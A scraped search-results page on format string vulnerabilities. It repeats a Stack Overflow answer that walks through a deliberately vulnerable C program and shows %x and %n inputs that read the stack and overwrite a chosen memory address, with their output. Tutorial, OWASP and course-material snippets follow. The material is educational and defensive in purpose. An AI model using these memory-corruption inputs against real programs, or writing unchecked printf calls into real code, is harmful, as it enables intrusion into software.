You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

Answer from Michael F on Stack Overflow
🌐
OWASP Foundation
owasp.org › www-community › attacks › Format_string_attack
Format string attack | OWASP Foundation
The values printed after the “Hello World” text, are the values on the stack of my computer at the moment of running this example. Also reading and writing to any memory location is possible in some conditions, and even code execution. For more information, please see the Exploiting Format String Vulnerabilities article from 2001.
🌐
BreakInSecurity
axcheron.github.io › exploit-101-format-strings
Exploit 101 - Format Strings - BreakInSecurity
April 22, 2018 - If we want to read it, we have to enter the following string : user@gdb:~$ ./format0 5$s AABBCCDD does not have access! user@gdb:~$ ./format0 AABBCCDD Good job ! user@gdb:~$ ... Now you know how to read a specific argument on the stack, but we would like to go further and write on the stack ! Let’s take another example :
🌐
Medium
medium.com › @danielorihuelarodriguez › format-string-vulnerability-439acbe81ddf
Format string vulnerability. What’s a format string vulnerability? | by DanielOrihuela | Medium
November 5, 2024 - One of them is printf (e.g. printf("I am %i years old", 999);). An attacker can exploit them to read and write to arbitrary memory locations, execute arbitrary code or make the program crash.
🌐
YouTube
youtube.com › watch
A simple Format String exploit example - bin 0x11 - YouTube
Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n.stack layout: https://www.win.tue.nl/~aeb/linux/hh/st...
Published   April 9, 2016
🌐
Fengweiz
fengweiz.github.io › 20fa-cs315 › labs › lab3-slides-format-string.pdf pdf
Format-String Vulnerability Instructor: Fengwei Zhang 1 SUSTech
●Format string attack · ●How to exploit the vulnerability · ●Countermeasures · 2 · Format String · ●printf()- To print out a string according to a · format. int printf(const char *format, …); ●The argument list of printf() consists of : ○One concrete argument format ·
🌐
Codearcana
codearcana.com › posts › 2013 › 05 › 02 › introduction-to-format-string-exploits.html
Introduction to format string exploits
May 2, 2013 - Instead, we break it up into two ... To do this, we will use %hn to write only 2 bytes at a time. Such a format string might look like this: CAAAAAAA 44x$hn8912x$hn....
Find elsewhere
🌐
Gts3
tc.gts3.org › cs6265 › tut › tut05-fmtstr.html
Tut05: Format String Vulnerability - CS6265: Information Security Lab
NOTE: Be sure to use single quotes ... itself (e.g., like $PATH). If you do later need a format-string argument that includes interpolation, use " and backslash-escape the format-specifier $s (i.e., "\$"). Let's exploit this format-string bug to write an arbitrary value to an arbitrary ...
Top answer
1 of 6
98

You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

2 of 6
21

It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:

"%200$p"

to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).

However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.


* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.

🌐
Wikipedia
en.wikipedia.org › wiki › Uncontrolled_format_string
Uncontrolled format string - Wikipedia
December 21, 2025 - Uncontrolled format string is a type of code injection vulnerability discovered around 1989 that can be used in security exploits. Originally thought harmless, format string exploits can be used to crash a program or to execute harmful code. The problem stems from the use of unchecked user ...
🌐
Wallarm
wallarm.com › what › format-string-vulnerability
✋Format String Vulnerability - Types, Examples, Prevention
June 26, 2025 - For effective and safe usage of string insertion, having an understanding of its functionality is not enough. Knowing the vulnerability incidences or possibilities is also required. For example, a most common threat for C programs and multiple other programming languages, a Format String Attack, can stop a program from responding.
🌐
YouTube
youtube.com › watch
Exploiting Format String vulnerabilities tutorial - pwn106
Enjoy the videos and music you love, upload original content, and share it all with friends, family, and the world on YouTube.
🌐
Stanford
cs155.stanford.edu › papers › formatstring-1.2.pdf pdf
Exploiting Format String Vulnerabilities scut / team teso September 1, 2001
September 1, 2001 - articles describing this method of exploitation and if this example is not fully ... It creates a string that is 497 characters long. Together with the error · string (“ERR Wrong command: ”) this exceeds the outbuf buffer by four · bytes. Although the ‘user’ string is only allowed ...
🌐
Medium
infosecwriteups.com › exploiting-format-string-vulnerability-97e3d588da1b
EXPLOITING FORMAT STRING VULNERABILITY | by AidenPearce369 | InfoSec Write-ups
January 18, 2024 - If printf("%s %p %p",data), here data gets filled by %s and the remaining formats can get exploited into stack · When the format string does not have a corresponding variable to call the data, it will start popping random values from stack ...
🌐
Infosec Institute
infosecinstitute.com › resources › secure-coding › format-string-vulnerabilities-exploitation-case-study
Format String Vulnerabilities Exploitation Case Study | Infosec
Now, we need to update the format string payload to leak only the canary instead of too many entries from the stack. So, let us update the exploit template to leak the stack canary by passing the argument A$llx.
🌐
Medium
medium.com › swlh › binary-exploitation-format-string-vulnerabilities-70edd501c5be
Binary Exploitation: Format String Vulnerabilities | by Vickie Li | The Startup | Medium
September 10, 2020 - The exploit string would look something like this: printf (“%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s”); The more %s there are in the format string, the higher the chance of encountering an invalid address.
🌐
Infosec Institute
infosecinstitute.com › resources › secure-coding › how-to-exploit-format-string-vulnerabilities
How to exploit format string vulnerabilities | Infosec
September 21, 2020 - This article provides an overview of how format string vulnerabilities can be exploited. In this article, we will begin by solving a simple challenge to leak a secret from memory. In the next article, we will discuss another example, where we will chain a format string vulnerability and Buffer Overflow vulnerability to create better impact.
🌐
Kayssel
kayssel.com › post › format-string
Mastering Format String Exploits: A Comprehensive Guide
January 7, 2024 - Vulnerability in Action: Through a hands-on example, we witnessed how user-controlled format strings could lead to memory dumps. The printf function’s expectation of matching format strings and arguments, when unmet, inadvertently led to revealing ...